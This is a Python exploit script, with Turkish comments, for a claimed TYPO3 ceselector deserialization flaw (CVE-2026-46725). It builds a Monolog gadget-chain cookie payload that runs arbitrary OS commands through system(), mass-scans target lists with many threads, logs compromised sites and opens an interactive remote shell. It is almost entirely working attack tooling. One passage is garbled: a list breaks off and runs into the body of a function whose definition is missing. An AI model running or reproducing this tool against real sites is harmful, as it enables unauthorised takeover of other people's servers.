#!/usr/bin/env python3 """ CVE-2026-46725 — TYPO3 ceselector Extension Insecure Deserialization (PHP Object Injection) → RCE CVSS 9.8 (Critical) | CWE-502 Author: DhiyaneshDk | Converted to Python """ import requests import argparse import re import sys import time import shutil import urllib.parse from concurrent.futures import ThreadPoolExecutor, as_completed from threading import Lock requests.packages.urllib3.disable_warnings() # ══════════════════════════════════════════════════ # RENK & ÇIKTI # ══════════════════════════════════════════════════ def tw(): return shutil.get_terminal_size((100, 24)).columns class C: G="\033[92m"; R="\033[91m"; Y="\033[93m"; B="\033[94m" CY="\033[96m"; MG="\033[35m"; DM="\033[90m"; WH="\033[97m" BL="\033[1m"; X="\033[0m" BG_R="\033[41m"; BG_Y="\033[43m"; BG_G="\033[42m" NOCOLOR = False @classmethod def fmt(cls, msg, *codes): if cls.NOCOLOR: return str(msg) return "".join(codes) + str(msg) + cls.X @classmethod def ok(cls, m): return cls.fmt(m, cls.G) @classmethod def err(cls, m): return cls.fmt(m, cls.R) @classmethod def warn(cls, m): return cls.fmt(m, cls.Y) @classmethod def dim(cls, m): return cls.fmt(m, cls.DM) @classmethod def badge_err(cls, m): return cls.fmt(f" {m} ", cls.BG_R, cls.BL, cls.WH) @classmethod def badge_warn(cls, m): return cls.fmt(f" {m} ", cls.BG_Y, cls.BL, "\033[30m") @classmethod def badge_ok(cls, m): return cls.fmt(f" {m} ", cls.BG_G, cls.BL, cls.WH) _lock = Lock() _verbose = False def out(msg="", end="\n"): with _lock: sys.stdout.write("\r" + " " * tw() + "\r" + str(msg) + end) sys.stdout.flush() def vout(msg): if _verbose: out(msg) def section(title, icon="◆"): out() out(C.fmt(f" {icon} ", C.MG, C.BL) + C.fmt(title, C.BL, C.WH)) out(C.fmt(" " + "─" * min(52, tw()-4), C.DM)) def kv(k, v, vc=None): out(C.fmt(f" · {k:<20}", C.DM) + C.fmt(str(v), vc or C.WH)) # ══════════════════════════════════════════════════ # PROGRESS / COUNTER BAR # ══════════════════════════════════════════════════ class Bar: def __init__(self, total, title="", color=None): self.total = max(total, 1) self.title = title self.color = color or C.CY self.current = 0 self.start = time.time() self._lines = 0 def update(self, n, info=""): self.current = n w = tw() bw = max(10, w - len(self.title) - 26) pct = n / self.total filled = int(bw * pct) elapsed = time.time() - self.start + 0.001 rate = n / elapsed eta = (self.total - n) / rate if rate > 0 else 0 bar = (C.fmt("█" * filled, self.color, C.BL) + C.fmt("░" * (bw - filled), C.DM)) l1 = (C.fmt(f" {self.title} ", C.BL, self.color) + f" [{bar}] " + C.fmt(f"{pct*100:5.1f}%", C.BL, C.WH) + C.fmt(f" ({n}/{self.total})", C.DM)) l2 = (f" " + C.fmt(f"{rate:5.1f}/s", C.G) + f" ETA " + C.fmt(f"{eta:4.0f}s", C.Y) + f" " + C.fmt(str(info)[:w-32], C.DM)) with _lock: if self._lines: sys.stdout.write(f"\033[{self._lines}A\033[J") sys.stdout.write(l1 + "\n" + l2 + "\n") sys.stdout.flush() self._lines = 2 def finish(self, msg=""): bw = max(10, tw() - len(self.title) - 26) elapsed = time.time() - self.start rate = self.current / (elapsed + 0.001) with _lock: if self._lines: sys.stdout.write(f"\033[{self._lines}A\033[J") sys.stdout.write( C.fmt(f" {self.title} ", C.BL, C.G) + f" [{C.fmt('█'*bw, C.G, C.BL)}] " + C.fmt("100.0%", C.BL, C.G) + C.fmt(f" ({self.current}/{self.total})", C.DM) + "\n" + C.fmt(" ✓ ", C.G, C.BL) + C.fmt(f"{elapsed:.1f}s {rate:.1f}/s", C.DM) + (C.fmt(f" {msg}", C.CY) if msg else "") + "\n" ) sys.stdout.flush() self._lines = 0 class CounterBar: def __init__(self, total, title="Scan"): self.total = max(total, 1) self.title = title self.n = 0 self.start = time.time() def inc(self, info=""): with _lock: self.n += 1 elapsed = time.time() - self.start + 0.001 rate = self.n / elapsed eta = (self.total - self.n) / rate if rate > 0 else 0 line = (C.fmt(f" {self.title} ", C.BL, C.CY) + C.fmt(f" {self.n/self.total*100:5.1f}%", C.BL, C.WH) + C.fmt(f" ({self.n}/{self.total})", C.DM) + C.fmt(f" {rate:.1f}/s", C.G) + C.fmt(f" ETA {eta:.0f}s", C.Y) + C.fmt(f" {str(info)[:45]}", C.DM)) sys.stdout.write("\r" + " " * tw() + "\r" + line) sys.stdout.flush() def finish(self, msg=""): elapsed = time.time() - self.start with _lock: sys.stdout.write("\r" + " " * tw() + "\r") sys.stdout.write( C.fmt(f" {self.title} ", C.BL, C.G) + C.fmt(" TAMAMLANDI", C.BL, C.G) + C.fmt(f" ({self.n}/{self.total})", C.DM) + C.fmt(f" {elapsed:.1f}s", C.DM) + (C.fmt(f" {msg}", C.CY) if msg else "") + "\n" ) sys.stdout.flush() # ══════════════════════════════════════════════════ # BANNER # ══════════════════════════════════════════════════ def print_banner(): out(C.fmt(r""" ████████╗██╗ ██╗██████╗ ██████╗ ██████╗ ╚══██╔══╝╚██╗ ██╔╝██╔══██╗██╔═══██╗╚════██╗ ██║ ╚████╔╝ ██████╔╝██║ ██║ █████╔╝ ██║ ╚██╔╝ ██╔═══╝ ██║ ██║ ╚═══██╗ ██║ ██║ ██║ ╚██████╔╝██████╔╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ """, C.CY, C.BL)) out(C.fmt(" CVE-2026-46725", C.BL, C.R) + C.fmt(" TYPO3 ceselector Extension ", C.DM) + C.badge_err("CVSS 9.8 CRITICAL")) out(C.fmt(" Insecure Deserialization (PHP Object Injection) → RCE", C.DM)) out(C.fmt(" CWE-502 | Unauthenticated | No Privileges Required", C.DM)) out(C.fmt(" " + "─" * (tw()-4), C.DM)) out() # ══════════════════════════════════════════════════ # HTTP # ══════════════════════════════════════════════════ DEFAULT_UA = ( "Mozilla/5.0 (Windows NT 10.0; Win64; x64) " "AppleWebKit/537.36 (KHTML, like Gecko) " "Chrome/124.0.0.0 Safari/537.36" ) def make_session(timeout=15, proxy=None): s = requests.Session() s.verify = False s.timeout = timeout s.headers.update({ "User-Agent": DEFAULT_UA, "Accept": "text/html,application/xhtml+xml," "application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Connection": "close", }) if proxy: s.proxies = {"http": proxy, "https": proxy} return s def get_req(sess, url, **kw): try: return sess.get(url, allow_redirects=True, **kw) except Exception as e: vout(C.dim(f" [GET ERR] {url} → {e}")) return None # ══════════════════════════════════════════════════ # PAYLOAD — PHP Serialize → URL-Encode # Orijinal nuclei template ile birebir aynı yöntem # Base64 YOK — saf PHP serialize + URL-encode # ══════════════════════════════════════════════════ # NULL byte — PHP protected property prefix: \x00*\x00 NUL = "\x00" def build_php_serialize(cmd="id"): """ Orijinal nuclei template payload'ını dinamik cmd ile üretir. Yöntem: 1. PHP serialize string'i Python'da oluştur (NULL byte dahil) 2. urllib.parse.quote() ile URL-encode et → Orijinal template ile BİREBİR aynı sonuç Gadget Chain: GroupHandler → BufferHandler → LogRecord → system(cmd) Orijinal template'deki sabit payload ("id" komutu): s:5:"mixed";s:2:"id"; Dinamik hali: s:5:"mixed";s:{len(cmd)}:"{cmd}"; """ cmd_len = len(cmd) php_obj = ( f'O:28:"Monolog\\Handler\\GroupHandler":1:{{' f's:11:"{NUL}*{NUL}handlers";a:1:{{' f'i:0;' f'O:29:"Monolog\\Handler\\BufferHandler":6:{{' f's:10:"{NUL}*{NUL}handler";r:3;' f's:13:"{NUL}*{NUL}bufferSize";i:1;' f's:14:"{NUL}*{NUL}bufferLimit";i:0;' f's:9:"{NUL}*{NUL}buffer";a:1:{{' f'i:0;' f'O:17:"Monolog\\LogRecord":2:{{' f's:5:"level";' f'E:19:"Monolog\\Level:Debug";' f's:5:"mixed";' f's:{cmd_len}:"{cmd}";' f'}}' f'}}' f's:14:"{NUL}*{NUL}initialized";b:1;' f's:13:"{NUL}*{NUL}processors";a:3:{{' f'i:0;s:15:"get_object_vars";' f'i:1;s:3:"end";' f'i:2;s:6:"system";' f'}}' f'}}' f'}}' f'}}' ) # URL-encode — safe="" → tüm özel karakterler encode edilir return urllib.parse.quote(php_obj, safe="") def verify_payload_match(): """ Geliştirici testi: build_php_serialize("id") orijinal nuclei template payload ile aynı mı? """ # Orijinal nuclei template'deki URL-encoded payload ORIGINAL = ( "O%3A28%3A%22Monolog%5CHandler%5CGroupHandler%22%3A1%3A%7B" "s%3A11%3A%22%00%2A%00handlers%22%3Ba%3A1%3A%7B" "i%3A0%3B" "O%3A29%3A%22Monolog%5CHandler%5CBufferHandler%22%3A6%3A%7B" "s%3A10%3A%22%00%2A%00handler%22%3Br%3A3%3B" "s%3A13%3A%22%00%2A%00bufferSize%22%3Bi%3A1%3B" "s%3A14%3A%22%00%2A%00bufferLimit%22%3Bi%3A0%3B" "s%3A9%3A%22%00%2A%00buffer%22%3Ba%3A1%3A%7B" "i%3A0%3B" "O%3A17%3A%22Monolog%5CLogRecord%22%3A2%3A%7B" "s%3A5%3A%22level%22%3B" "E%3A19%3A%22Monolog%5CLevel%3ADebug%22%3B" "s%3A5%3A%22mixed%22%3B" "s%3A2%3A%22id%22%3B" "%7D%7D" "s%3A14%3A%22%00%2A%00initialized%22%3Bb%3A1%3B" "s%3A13%3A%22%00%2A%00processors%22%3Ba%3A3%3A%7B" "i%3A0%3Bs%3A15%3A%22get_object_vars%22%3B" "i%3A1%3Bs%3A3%3A%22end%22%3B" "i%3A2%3Bs%3A6%3A%22system%22%3B" "%7D%7D%7D%7D" ) generated = build_php_serialize("id") orig_dec = urllib.parse.unquote(ORIGINAL) gen_dec = urllib.parse.unquote(generated) if orig_dec == gen_dec: out(C.ok(" [✓] Payload orijinal nuclei template ile AYNI")) return True else: out(C.err(" [✗] Payload FARKLI — hata var!")) for i, (a, b) in enumerate(zip(orig_dec, gen_dec)): if a != b: out(C.warn(f" Fark pos={i} " f"orig={repr(a)} gen={repr(b)}")) out(C.dim(f" Bağlam orig: " f"{repr(orig_dec[max(0,i-15):i+15])}")) out(C.dim(f" Bağlam gen : " f"{repr(gen_dec[max(0,i-15):i+15])}")) break if len(orig_dec) != len(gen_dec): out(C.warn(f" Uzunluk: orig={len(orig_dec)} " f"gen={len(gen_dec)}")) return False # ══════════════════════════════════════════════════ # TYPO3 & CESELECTOR TESPİT # Orijinal flow: http(1) → T3_ceselector_ cookie var mı? # ══════════════════════════════════════════════════ def detect_ceselector(sess, base_url): """ Orijinal nuclei template http(1) adımı: GET / matcher: contains(header, "T3_ceselector_") extractor: Set-Cookie header'ından T3_ceselector_\\d+ adını çıkar """ result = { "typo3": False, "ceselector": False, "cookie_name": None, "version": None, } # ── GET / ───────────────────────────────────── r = get_req(sess, base_url) if not r: return result # ── TYPO3 genel sinyalleri ──────────────────── typo3_signals = [ r'typo3', r'TYPO3', r'T3_ceselector', r'typo3conf', r'typo3temp', r'tx_ceselector', ] for sig in typo3_signals: if re.search(sig, r.text, re.I): result["typo3"] = True vout(C.dim(f" [detect] TYPO3 sinyal: {sig}")) break # ── Orijinal matcher: contains(header, "T3_ceselector_") ── # requests.Response.headers tek satır dict — raw headers dene cookie_name = None # 1) response.cookies üzerinden for cname in r.cookies.keys(): if re.match(r'T3_ceselector_\d+', cname, re.I): cookie_name = cname vout(C.dim(f" [detect] Cookie (cookies): {cname}")) break # 2) raw headers üzerinden (urllib3) if not cookie_name: try: for hname, hval in r.raw.headers.items(): if hname.lower() == "set-cookie": m = re.search( r'(T3_ceselector_\d+)=', hval, re.I ) if m: cookie_name = m.group(1) vout(C.dim( f" [detect] Cookie (raw): {cookie_name}" )) break except Exception: pass # 3) response.headers string üzerinden fallback if not cookie_name: headers_str = str(r.headers) m = re.search(r'(T3_ceselector_\d+)=', headers_str, re.I) if m: cookie_name = m.group(1) vout(C.dim(f" [detect] Cookie (str): {cookie_name}")) if cookie_name: result["ceselector"] = True result["cookie_name"] = cookie_name result["typo3"] = True # ── TYPO3 sürümü ───────────────────────────── for vp in [r'TYPO3\s+CMS\s+([\d.]+)', r'typo3/([\d.]+)', r'"version"\s*:\s*"([\d.]+)"']: vm = re.search(vp, r.text, re.I) if vm: result["version"] = vm.group(1) break return result # ══════════════════════════════════════════════════ # RCE ÇIKTISI DOĞRULA # Orijinal matcher: # status_code == 200 # regex("uid=\\d+\\([a-z_][a-z0-9_-]*\\)\\s+gid=...", body) # ══════════════════════════════════════════════════ # Orijinal extractor regex RCE_REGEX = re.compile( r'uid=\d+\([a-zA-Z0-9_-]+\)\s+gid=\d+\([a-zA-Z0-9_-]+\)[^\n]*' ) # Orijinal matcher regex (daha katı) RCE_MATCHER = re.compile( r'uid=\d+\([a-z_][a-z0-9_-]*\)\s+gid=\d+\([a-z_][a-z0-9_-]*\)' ) # Komuta özel ek pattern'ler EXTRA_PATTERNS = { "whoami": re.compile(r'^(?:www-data|root|apache|nginx|nobody|http|daemon)$', re.M), "uname -a": re.compile(r'Linux\s+\S+\s+\d+\.\d+\.\d+'), "uname": re.compile(r'(?:Linux|Darwin|FreeBSD)\s+\S+'), "pwd": re.compile(r'^/(?:var|home|srv|www|opt|tmp|usr)[/\w.\-]+$', re.M), "cat /etc/passwd": re.compile(r'root:x:0:0:root'), "ls": re.compile(r'(?:total \d+|[-drwx]{10}\s+\d+)'), "ls -la": re.compile(r'(?:total \d+|[-drwx]{10}\s+\d+)'), "ps aux": re.compile(r'(?:USER\s+PID|root\s+\d+)'), "env": re.compile(r'(?:^|\n)(?:PATH|HOME|USER|SHELL)='), "phpinfo": re.compile(r'PHP Version \d+\.\d+\.\d+'), } FALSE_POSITIVES = [ r'XML-RPC', r'POST requests only', r']+>', '', body) clean = re.sub(r'&[a-z]+;', ' ', clean) clean = re.sub(r'\s+', ' ', clean).strip() # En azından uid= içeriyorsa kabul et if re.search(r'uid=\d+', clean): return clean[:300] return None # ══════════════════════════════════════════════════ # TEK HEDEF EXPLOIT # Orijinal flow: http(1) && http(2) # ══════════════════════════════════════════════════ def exploit_single(sess, base_url, cmd="id", silent=False, timeout=15): url = base_url.rstrip("/") if not url.startswith("http"): url = "http://" + url # ── http(1): Tespit & Cookie Al ─────────────── if not silent: section("TYPO3 & ceselector Tespit [http/1]", "①") info = detect_ceselector(sess, url) if not silent: kv("TYPO3", C.ok("✓ Tespit edildi") if info["typo3"] else C.err("✗ Bulunamadı")) kv("ceselector Cookie", C.ok(f"✓ {info['cookie_name']}") if info["ceselector"] else C.err("✗ T3_ceselector_* yok")) if info["version"]: kv("TYPO3 Sürüm", info["version"], C.DM) # http(1) matcher başarısız → dur if not info["typo3"]: return {"ok": False, "reason": "typo3_not_found", "url": url} if not info["ceselector"]: return { "ok": False, "reason": "ceselector_cookie_not_found", "url": url, } cookie_name = info["cookie_name"] # ── http(2): Payload Hazırla ────────────────── if not silent: section("Payload [http/2]", "②") kv("Yöntem", "PHP serialize → URL-encode", C.Y) kv("Gadget", "Monolog\\Handler\\GroupHandler", C.DM) kv("Sink", "system()", C.R) kv("Komut", cmd, C.CY) out() payload = build_php_serialize(cmd) vout(C.dim(f" [payload] {urllib.parse.unquote(payload)[:120]}")) vout(C.dim(f" [encoded] {payload[:80]}...")) # ── http(2): İstek Gönder ───────────────────── if not silent: section("Exploit İsteği Gönderiliyor", "③") headers = { "User-Agent": DEFAULT_UA, "Accept": "text/html,application/xhtml+xml," "application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Connection": "close", # Orijinal template: Cookie: {{ceselector_cookie}}= "Cookie": f"{cookie_name}={payload}", } vout(C.dim(f" [request] GET {url}")) vout(C.dim(f" [cookie] {cookie_name}=")) r = get_req(sess, url, headers=headers) if not r: return {"ok": False, "reason": "request_failed", "url": url} vout(C.dim(f" [response] HTTP {r.status_code} " f"len={len(r.text)}")) if not silent: kv("HTTP Status", r.status_code, C.G if r.status_code == 200 else C.R) # ── http(2): Matcher & Extractor ───────────── if not silent: section("RCE Çıktısı", "④") output = extract_rce_output(r.text, cmd, r.status_code) if output: if not silent: out(C.fmt(" ┌─ RCE ÇIKTISI ", C.G, C.BL) + C.fmt("─" * 36, C.G)) for line in output.splitlines()[:15]: out(C.fmt(" │ ", C.G) + C.fmt(line, C.WH, C.BL)) out(C.fmt(" └" + "─" * 46, C.G)) out() kv("Cookie", cookie_name, C.DM) kv("Komut", cmd, C.CY) kv("Çıktı", output[:80], C.G) return { "ok": True, "output": output, "url": url, "cookie_name": cookie_name, "cmd": cmd, "version": info.get("version"), } if not silent: out(C.err(" ✗ RCE çıktısı alınamadı")) out(C.dim(f" · HTTP Status : {r.status_code}")) out(C.dim(f" · Ham yanıt : {r.text[:300]}")) return { "ok": False, "reason": "no_rce_output", "url": url, "status": r.status_code, "raw": r.text[:300], } # ══════════════════════════════════════════════════ # TOPLU TARAMA # ══════════════════════════════════════════════════ def bulk_scan(targets, cmd="id", threads=10, timeout=15, proxy=None): total = len(targets) results = [] bar = CounterBar(total, "Tarama") r_lock = Lock() def worker(target): url = target.strip() if not url: return if not url.startswith("http"): url = "http://" + url sess = make_session(timeout=timeout, proxy=proxy) res = exploit_single( sess, url, cmd = cmd, silent = True, timeout = timeout, ) if res.get("ok"): with r_lock: results.append(res) out(C.fmt("\n " + "═" * 64, C.G)) out(C.ok(f" ✓ RCE ALINDI → {url}")) out(C.fmt(f" · Sürüm : " f"{res.get('version','?')}", C.DM)) out(C.fmt(f" · Cookie : " f"{res.get('cookie_name','')}", C.CY)) out(C.fmt(f" · Çıktı : " f"{res.get('output','')[:120]}", C.WH)) out(C.fmt(" " + "═" * 64 + "\n", C.G)) tag = C.ok(f"✓ RCE {url}") elif res.get("reason") == "typo3_not_found": tag = C.dim(f"– typo3 yok {url}") elif res.get("reason") == "ceselector_cookie_not_found": tag = C.dim(f"– ceselector yok {url}") elif res.get("reason") == "no_rce_output": tag = C.warn(f"? cookie var / RCE yok {url}") else: tag = C.err(f"✗ başarısız {url}") bar.inc(tag) with ThreadPoolExecutor(max_workers=threads) as ex: futs = {ex.submit(worker, t): t for t in targets} try: for f in as_completed(futs): f.result() except KeyboardInterrupt: out(C.warn("\n [!] Kullanıcı durdurdu.")) bar.finish(f"{len(results)} RCE bulundu") return results # ══════════════════════════════════════════════════ # KAYDET # ══════════════════════════════════════════════════ def save_results(results, outfile=None): if not results: return if not outfile: outfile = f"typo3_ceselector_{int(time.time())}.txt" lines = [ "=" * 60, "CVE-2026-46725 — TYPO3 ceselector RCE", f"Tarih: {time.strftime('%Y-%m-%d %H:%M:%S')}", "=" * 60, "", f"[+] RCE ALINAN HEDEFLER ({len(results)})", "-" * 40, ] for res in results: lines += [ f"URL : {res.get('url','')}", f"Sürüm : {res.get('version','?')}", f"Cookie : {res.get('cookie_name','')}", f"Komut : {res.get('cmd','')}", f"Çıktı : {res.get('output','')[:400]}", "", ] try: with open(outfile, "w", encoding="utf-8") as f: f.write("\n".join(lines)) out(C.ok(f"\n ✓ Sonuçlar kaydedildi → {outfile}")) except Exception as e: out(C.err(f" ✗ Kayıt hatası: {e}")) # ══════════════════════════════════════════════════ # İNTERAKTİF SHELL # ══════════════════════════════════════════════════ def interactive_shell(sess, base_url, cookie_name): out() out(C.fmt(" ╔══════════════════════════════════════════╗", C.G, C.BL)) out(C.fmt(" ║ İnteraktif Shell Açıldı ║", C.G, C.BL)) out(C.fmt(" ║ Çıkmak için: exit / quit / Ctrl+C ║", C.G, C.BL)) out(C.fmt(" ╚══════════════════════════════════════════╝", C.G, C.BL)) out() # Başlangıç bilgileri for init_cmd in ["id", "uname -a", "pwd"]: payload = build_php_serialize(init_cmd) headers = { "User-Agent": DEFAULT_UA, "Cookie": f"{cookie_name}={payload}", "Connection": "close", } r = get_req(sess, base_url, headers=headers) if r and r.status_code == 200: out_text = extract_rce_output(r.text, init_cmd, r.status_code) if out_text: first = out_text.splitlines()[0] kv(init_cmd, first, C.CY) out() history = [] while True: try: prompt = (C.fmt(" typo3", C.G, C.BL) + C.fmt("@", C.DM) + C.fmt("ceselector", C.R, C.BL) + C.fmt(" $ ", C.WH, C.BL)) cmd = input(prompt).strip() except (KeyboardInterrupt, EOFError): out(C.warn("\n [!] Shell kapatıldı.")) break if not cmd: continue if cmd.lower() in ("exit", "quit", "q"): out(C.dim(" [*] Çıkılıyor...")) break if cmd.lower() == "history": for i, h in enumerate(history, 1): out(C.dim(f" {i:3} {h}")) continue if cmd.lower() == "help": out(C.dim(" Komutlar : exit, quit, history, help")) out(C.dim(" OS komut : id, whoami, uname -a, pwd, " "cat /etc/passwd, ls -la ...")) continue history.append(cmd) payload = build_php_serialize(cmd) headers = { "User-Agent": DEFAULT_UA, "Cookie": f"{cookie_name}={payload}", "Connection": "close", } r = get_req(sess, base_url, headers=headers) if not r: out(C.err(" ✗ İstek başarısız")) continue # False positive kontrolü fp_found = False for fp in FALSE_POSITIVES: if re.search(fp, r.text, re.I): out(C.err(f" ✗ Geçersiz yanıt")) fp_found = True break if fp_found: continue # HTML temizle ve çıktıyı göster clean = re.sub(r'<[^>]+>', '', r.text) clean = re.sub(r'&[a-z]+;', ' ', clean) clean = re.sub(r'\s+', '\n', clean).strip() lines_out = [l for l in clean.splitlines() if l.strip()] if lines_out: for line in lines_out[:25]: out(C.fmt(" │ ", C.G) + line) else: out(C.dim(" (boş çıktı)")) # ══════════════════════════════════════════════════ # ARG PARSER # ══════════════════════════════════════════════════ def build_parser(): p = argparse.ArgumentParser( prog="CVE-2026-46725", description=( "TYPO3 ceselector Extension — Insecure Deserialization RCE\n" "PHP Object Injection via unserialize() cookie bypass\n" "CVSS 9.8 Critical | CWE-502 | Unauthenticated" ), formatter_class=argparse.RawTextHelpFormatter, epilog=""" Örnekler: Tek hedef: python CVE-2026-46725.py -u https://typo3-site.com python CVE-2026-46725.py -u https://typo3-site.com -c "whoami" python CVE-2026-46725.py -u https://typo3-site.com --interactive Toplu tarama: python CVE-2026-46725.py -l targets.txt -t 20 -o results.txt python CVE-2026-46725.py -l targets.txt -t 30 Payload doğrulama: python CVE-2026-46725.py --verify-payload """, ) g1 = p.add_argument_group("Hedef") mx = g1.add_mutually_exclusive_group(required=False) mx.add_argument("-u", "--url", metavar="URL", help="Tek hedef URL") mx.add_argument("-l", "--list", metavar="FILE", help="Hedef listesi (satır başı URL)") mx.add_argument("--verify-payload", action="store_true", help="Payload orijinal ile aynı mı kontrol et") g2 = p.add_argument_group("Exploit") g2.add_argument("-c", "--cmd", default="id", metavar="CMD", help="Çalıştırılacak OS komutu (varsayılan: id)") g2.add_argument("-i", "--interactive", action="store_true", help="Başarılı exploit sonrası interaktif shell aç") g3 = p.add_argument_group("Tarama") g3.add_argument("-t", "--threads", type=int, default=10, metavar="N", help="Thread sayısı (varsayılan: 10)") g3.add_argument("--timeout", type=int, default=15, metavar="S", help="Timeout saniye (varsayılan: 15)") g3.add_argument("--proxy", metavar="URL", help="Proxy (örn: http://127.0.0.1:8080)") g4 = p.add_argument_group("Çıktı") g4.add_argument("-o", "--output", metavar="FILE", help="Sonuç dosyası") g4.add_argument("-v", "--verbose", action="store_true", help="Ayrıntılı çıktı") g4.add_argument("--no-color", action="store_true", help="Renksiz çıktı") return p # ══════════════════════════════════════════════════ # MAIN # ══════════════════════════════════════════════════ def main(): global _verbose parser = build_parser() args = parser.parse_args() if args.no_color: C.NOCOLOR = True if args.verbose: _verbose = True print_banner() # ── Payload doğrulama modu ──────────────────── if args.verify_payload: section("Payload Doğrulama", "✦") verify_payload_match() return # Hedef zorunlu if not args.url and not args.list: parser.print_help() sys.exit(1) # ── Toplu tarama ────────────────────────────── if args.list: try: with open(args.list, encoding="utf-8") as f: targets = [l.strip() for l in f if l.strip()] except FileNotFoundError: out(C.err(f" ✗ Dosya bulunamadı: {args.list}")) sys.exit(1) section("Toplu Tarama", "▶") kv("Liste", args.list, C.DM) kv("Hedef", len(targets), C.WH) kv("Thread", args.threads, C.DM) kv("Komut", args.cmd, C.CY) out() results = bulk_scan( targets, cmd = args.cmd, threads = args.threads, timeout = args.timeout, proxy = args.proxy, ) save_results(results, args.output) out() out(C.fmt(" ╔══ ÖZET ════════════════════════════════╗", C.G, C.BL)) out(C.fmt(f" ║ Toplam Hedef : {len(targets):<23}║", C.WH)) out(C.fmt(f" ║ RCE Alınan : {len(results):<23}║", C.G)) out(C.fmt(" ╠════════════════════════════════════════╣", C.G, C.BL)) for res in results: out(C.fmt(f" ║ ✓ {res['url'][:37]:<37}║", C.G)) out(C.fmt(" ╚════════════════════════════════════════╝", C.G, C.BL)) return # ── Tek hedef ───────────────────────────────── url = args.url.rstrip("/") if not url.startswith("http"): url = "http://" + url section("Hedef", "▶") kv("URL", url, C.CY) kv("Komut", args.cmd, C.DM) out() sess = make_session(timeout=args.timeout, proxy=args.proxy) result = exploit_single( sess, url, cmd = args.cmd, silent = False, timeout = args.timeout, ) if result.get("ok"): save_results([result], outfile=args.output) if args.interactive: try: interactive_shell(sess, url, result["cookie_name"]) except KeyboardInterrupt: out(C.warn("\n [!] Shell kapatıldı.")) else: try: ans = input(C.warn( "\n [?] İnteraktif shell aç? (y/n): " )).strip().lower() if ans == "y": interactive_shell(sess, url, result["cookie_name"]) except (KeyboardInterrupt, EOFError): pass else: reason = result.get("reason", "?") out(C.fmt("\n ✗ Exploit başarısız.", C.R)) kv("Sebep", reason, C.DM) out() out(C.warn(" Öneriler:")) out(C.dim(" 1. Hedefte TYPO3 kurulu ve ceselector aktif olmalı")) out(C.dim(" 2. T3_ceselector_* cookie Set-Cookie'de görünmeli")) out(C.dim(" 3. Persistent Mode: Static yapılandırma aktif olmalı")) out(C.dim(" 4. -v verbose ile detay görün")) out(C.dim(" 5. --proxy ile Burp Suite üzerinden izleyin")) out(C.dim(" 6. --verify-payload ile payload kontrolü yapın")) if __name__ == "__main__": main()